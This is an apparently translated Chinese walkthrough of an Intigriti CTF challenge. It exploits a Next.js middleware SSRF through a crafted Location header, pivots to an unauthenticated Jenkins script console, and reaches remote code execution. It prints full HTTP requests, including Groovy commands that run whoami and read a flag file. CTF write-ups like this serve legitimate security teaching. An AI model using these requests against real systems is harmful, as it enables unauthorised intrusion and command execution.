利用Next.js中间件漏洞实现SSRF攻击与权限提升

本文详细分析了Next.js中间件中的SSRF漏洞利用过程,从技术发现到漏洞武器化,包括NoSQL注入识别、中间件配置错误利用,以及如何通过Jenkins脚本控制台实现远程代码执行并获取系统权限。

August CTF挑战:利用Next.js中间件中的SSRF漏洞

在Intigriti,我们每月举办基于网络的夺旗赛(CTF)挑战,以此与安全研究社区互动。本月由@0xblackbird呈现的挑战涉及一个有趣的服务器端请求伪造(SSRF)漏洞,该漏洞影响了使用Next.js中间件的Web应用程序。

本文提供了解决八月CTF挑战的逐步演练,同时演示了在Next.js中间件实现中利用SSRF漏洞的技术。

让我们开始吧!

发现阶段

八月的挑战名为CatFlix AI,允许访问者流式传输AI生成的猫视频。从表面看,访问者需要在平台上观看任何视频前登录。使用BuiltWith和Wappalyzer等工具,我们可以轻松确定Next.js用于应用程序的前端和后端。

使用Wappalyzer进行技术指纹识别

进一步滚动页面,我们还可以找到对源代码的引用。

本月挑战包含源代码访问

解压源代码文件的内容确认了我们最初发现该应用广泛使用Next.js。我们接下来的逻辑步骤是审查所有代码中的异常。由于此挑战要求我们获取位于易受攻击系统中的标志,我们可能需要利用服务器端漏洞类型来访问文件系统。这引起了我们对服务器端组件的关注。

NoSQL注入

在位于/src/app/api/auth/register/route.ts的注册API端点中,我们可以在第20行注意到原始用户输入直接连接到MongoDB查询中。

缺失验证和直接连接引入了潜在的NoSQL注入

从我们的NoSQL注入利用指南中,我们了解到这可以直接导致NoSQL注入。这有效地允许我们操纵查询,以便我们可以提取比需要更多的信息(信息披露)甚至更改现有记录。

基本NoSQLi利用以枚举现有用户帐户

然而,经过进一步考虑,我们认为这种NoSQLi无法帮助我们访问文件系统。因此,让我们进一步查看是否能发现任何其他异常。

NextJS中间件

我们下一个主要关注点是middleware.ts文件。这个特殊文件位于/src/middleware.ts,允许开发人员在返回响应之前运行代码。用于基于逻辑执行服务器端重定向、身份验证和授权检查。在这种情况下,中间件用于在返回给客户端之前向每个响应添加安全头。

使用Next.js中间件添加安全头

除了安全头之外,中间件似乎还执行一些分析,尽管从注释中我们可以推断此添加仍在进行中。

以下代码片段检查是否存在UTM参数之一。当满足此条件时,将返回带有我们请求头的完整响应。但在那之前,Next.js中间件将首先评估所有头。

Next.js中间件配置错误引入了SSRF

此未记录的功能(CVE-2025-57822)允许我们使NextResponse.next()处理某些头,包括Location响应头,这可能会触发内部重定向。在响应对象中传递此特定头将导致框架向该位置执行服务器端请求并返回该请求的响应,即服务器端请求伪造(SSRF)。

理解此含义后,我们可以轻松尝试发送以下CVE-2025-57822的概念验证请求并观察响应:

1
2
3
4
5
GET /?utm_source=meta HTTP/2
Host: challenge-0825.intigriti.io
User-Agent: curl/8.14.1
Accept: */*
Location: https://example.com/

发送上述请求将使Next.js应用程序返回example.com的响应:

NextJS中间件CVE-2025-57822概念验证

让我们更深入地研究利用部分。

在NextJS中间件中利用SSRF

服务器端请求伪造(SSRF)漏洞允许攻击者代表易受攻击的应用程序、服务或服务器请求外部(或内部)资源。这为我们打开了一个新的攻击向量,因为我们现在可以访问基于HTTP的内部服务。

由于没有验证存在,向本地主机的3000端口(Next.js的默认监听端口)发送基本请求可以确认我们可以轻松访问内部服务:

1
2
3
4
5
GET /?utm_source=meta HTTP/2
Host: challenge-0825.intigriti.io
User-Agent: curl/8.14.1
Accept: */*
Location: http://localhost:3000/

使用Next.js中间件SSRF访问内部资源

我们下一个重点是找到允许我们利用本地文件读取的内部服务。使用Ffuf或Burp Suite等工具,我们可以暴力破解端口号并寻找任何命中。使用此方法,我们可以轻松确定Jenkins CI/CD在8080端口上运行。对响应的进一步检查表明身份验证似乎被禁用。

在8080端口上运行的Jenkins CI/CD

将SSRF升级为RCE

从这一点开始的利用是直接的,因为Jenkins具有内置的Groovy脚本控制台,允许开发人员评估代码,包括执行系统命令。由于身份验证被禁用,我们实际上可以在不提供会话令牌的情况下使用它,并且仍然能够执行我们的命令。

复制以下请求将在系统上执行whoami

1
2
3
4
5
6
7
8
9
POST /?utm_source=meta HTTP/2
Host: challenge-0825.intigriti.io
User-Agent: curl/8.14.1
Accept: */*
Location: http://localhost:8080/script
Content-Type: application/x-www-form-urlencoded
Content-Length: 50

script=println('whoami'.execute().text)

现在我们有了确认的远程代码执行,我们可以开始寻找标志。在大多数情况下,这将保存在系统的项目根目录中。

一个简单的ls确认了这一点:

Jenkins脚本控制台代码执行

使用来自上一个命令的信息,我们可以制作另一个请求来查看flag.txt文件的内容:

1
2
3
4
5
6
7
8
9
POST /?utm_source=meta HTTP/2
Host: challenge-0825.intigriti.io
User-Agent: curl/8.14.1
Accept: */*
Location: http://localhost:8080/script
Content-Type: application/x-www-form-urlencoded
Content-Length: 50

script=println('cat /app/flag.txt'.execute().text)

捕获标志

结论

在许多情况下,未净化的用户输入直接传递给评估函数调用,这是所有注入攻击的常见根本原因。通过仔细审查服务器端代码,我们能够识别、验证和武器化几个注入漏洞以实现命令执行。

所以,你刚刚学到了一些关于利用NoSQLi、武器化SSRF和利用安全配置错误的新知识…现在,是时候将你的技能付诸实践了!你可以在易受攻击的实验室继续练习,或者…浏览我们在Intigriti上的70多个公共漏洞赏金计划,谁知道呢,也许在你的下一次提交中赚取赏金!

立即在INTIGRITI上开始黑客行动!

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计